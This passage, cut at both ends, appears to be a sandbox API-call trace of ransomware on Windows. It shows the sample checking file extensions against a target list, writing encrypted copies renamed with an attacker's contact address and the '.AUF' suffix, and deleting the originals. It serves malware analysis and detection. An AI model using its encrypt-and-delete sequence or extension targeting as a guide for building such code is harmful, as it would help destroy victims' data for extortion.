lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.395] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.395] SetEndOfFile (hFile=0x218) returned 1 [0213.395] CloseHandle (hObject=0x218) returned 1 [0213.396] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.396] SetEndOfFile (hFile=0x1f0) returned 1 [0213.396] CloseHandle (hObject=0x1f0) returned 1 [0213.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.397] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0213.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.397] lstrlenW (lpString=".doc") returned 4 [0213.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.397] lstrlenW (lpString=".docx") returned 5 [0213.397] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.397] lstrlenW (lpString=".pdf") returned 4 [0213.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.397] lstrlenW (lpString=".xls") returned 4 [0213.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.397] lstrlenW (lpString=".xlsx") returned 5 [0213.397] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.397] lstrlenW (lpString=".ppt") returned 4 [0213.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.397] lstrlenW (lpString=".zip") returned 4 [0213.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.397] lstrlenW (lpString=".rar") returned 4 [0213.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.397] lstrlenW (lpString=".bz2") returned 4 [0213.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.397] lstrlenW (lpString=".7z") returned 3 [0213.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.397] lstrlenW (lpString=".dbf") returned 4 [0213.398] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".1cd") returned 4 [0213.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".jpg") returned 4 [0213.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".doc") returned 4 [0213.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.398] lstrlenW (lpString=".docx") returned 5 [0213.398] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.398] lstrlenW (lpString=".pdf") returned 4 [0213.398] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.398] lstrlenW (lpString=".xls") returned 4 [0213.398] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.398] lstrlenW (lpString=".xlsx") returned 5 [0213.398] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.398] lstrlenW (lpString=".ppt") returned 4 [0213.398] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".zip") returned 4 [0213.398] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.398] lstrlenW (lpString=".rar") returned 4 [0213.398] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.398] lstrlenW (lpString=".bz2") returned 4 [0213.398] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.398] lstrlenW (lpString=".7z") returned 3 [0213.398] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".dbf") returned 4 [0213.398] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".1cd") returned 4 [0213.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0213.398] lstrlenW (lpString=".jpg") returned 4 [0213.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.399] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.399] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.399] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=16738) returned 1 [0213.399] CloseHandle (hObject=0x1f0) returned 1 [0213.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0213.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.399] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.399] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0213.400] GetLastError () returned 0x0 [0213.400] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4162, lpOverlapped=0x0) returned 1 [0213.536] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4170, lpOverlapped=0x0) returned 1 [0213.537] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.537] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.537] SetEndOfFile (hFile=0x218) returned 1 [0213.537] CloseHandle (hObject=0x218) returned 1 [0213.537] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.537] SetEndOfFile (hFile=0x1f0) returned 1 [0213.538] CloseHandle (hObject=0x1f0) returned 1 [0213.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0213.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.539] lstrlenW (lpString=".doc") returned 4 [0213.539] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.539] lstrlenW (lpString=".docx") returned 5 [0213.539] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.539] lstrlenW (lpString=".pdf") returned 4 [0213.539] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.539] lstrlenW (lpString=".xls") returned 4 [0213.539] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.539] lstrlenW (lpString=".xlsx") returned 5 [0213.539] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.539] lstrlenW (lpString=".ppt") returned 4 [0213.539] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.539] lstrlenW (lpString=".zip") returned 4 [0213.539] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.539] lstrlenW (lpString=".rar") returned 4 [0213.539] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.539] lstrlenW (lpString=".bz2") returned 4 [0213.539] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.539] lstrlenW (lpString=".7z") returned 3 [0213.539] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.539] lstrlenW (lpString=".dbf") returned 4 [0213.539] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.539] lstrlenW (lpString=".1cd") returned 4 [0213.539] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString=".jpg") returned 4 [0213.540] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString=".doc") returned 4 [0213.540] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString=".docx") returned 5 [0213.540] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.540] lstrlenW (lpString=".pdf") returned 4 [0213.540] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString=".xls") returned 4 [0213.540] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.540] lstrlenW (lpString=".xlsx") returned 5 [0213.540] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.540] lstrlenW (lpString=".ppt") returned 4 [0213.540] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString=".zip") returned 4 [0213.540] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.540] lstrlenW (lpString=".rar") returned 4 [0213.540] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.540] lstrlenW (lpString=".bz2") returned 4 [0213.540] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString=".7z") returned 3 [0213.540] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString=".dbf") returned 4 [0213.540] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString=".1cd") returned 4 [0213.540] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0213.540] lstrlenW (lpString=".jpg") returned 4 [0213.540] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.540] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.540] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.541] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2604) returned 1 [0213.541] CloseHandle (hObject=0x1f0) returned 1 [0213.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0213.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.541] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.541] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.824] GetLastError () returned 0x0 [0213.824] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xa2c, lpOverlapped=0x0) returned 1 [0213.825] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0213.826] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.826] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.826] SetEndOfFile (hFile=0x1e4) returned 1 [0213.826] CloseHandle (hObject=0x1e4) returned 1 [0213.826] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.826] SetEndOfFile (hFile=0x1f0) returned 1 [0213.827] CloseHandle (hObject=0x1f0) returned 1 [0213.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.827] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0213.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.827] lstrlenW (lpString=".doc") returned 4 [0213.827] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.827] lstrlenW (lpString=".docx") returned 5 [0213.827] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.827] lstrlenW (lpString=".pdf") returned 4 [0213.827] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.827] lstrlenW (lpString=".xls") returned 4 [0213.827] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.827] lstrlenW (lpString=".xlsx") returned 5 [0213.827] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.827] lstrlenW (lpString=".ppt") returned 4 [0213.827] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".zip") returned 4 [0213.828] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString=".rar") returned 4 [0213.828] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString=".bz2") returned 4 [0213.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString=".7z") returned 3 [0213.828] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".dbf") returned 4 [0213.828] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".1cd") returned 4 [0213.828] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".jpg") returned 4 [0213.828] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".doc") returned 4 [0213.828] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString=".docx") returned 5 [0213.828] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.828] lstrlenW (lpString=".pdf") returned 4 [0213.828] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString=".xls") returned 4 [0213.828] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString=".xlsx") returned 5 [0213.828] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.828] lstrlenW (lpString=".ppt") returned 4 [0213.828] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".zip") returned 4 [0213.828] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString=".rar") returned 4 [0213.828] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.828] lstrlenW (lpString=".bz2") returned 4 [0213.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString=".7z") returned 3 [0213.828] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".dbf") returned 4 [0213.828] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".1cd") returned 4 [0213.828] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0213.828] lstrlenW (lpString=".jpg") returned 4 [0213.828] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.829] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.829] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.829] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=937) returned 1 [0213.829] CloseHandle (hObject=0x1f0) returned 1 [0213.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0213.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.829] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.829] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.831] GetLastError () returned 0x0 [0213.831] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x3a9, lpOverlapped=0x0) returned 1 [0213.841] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, 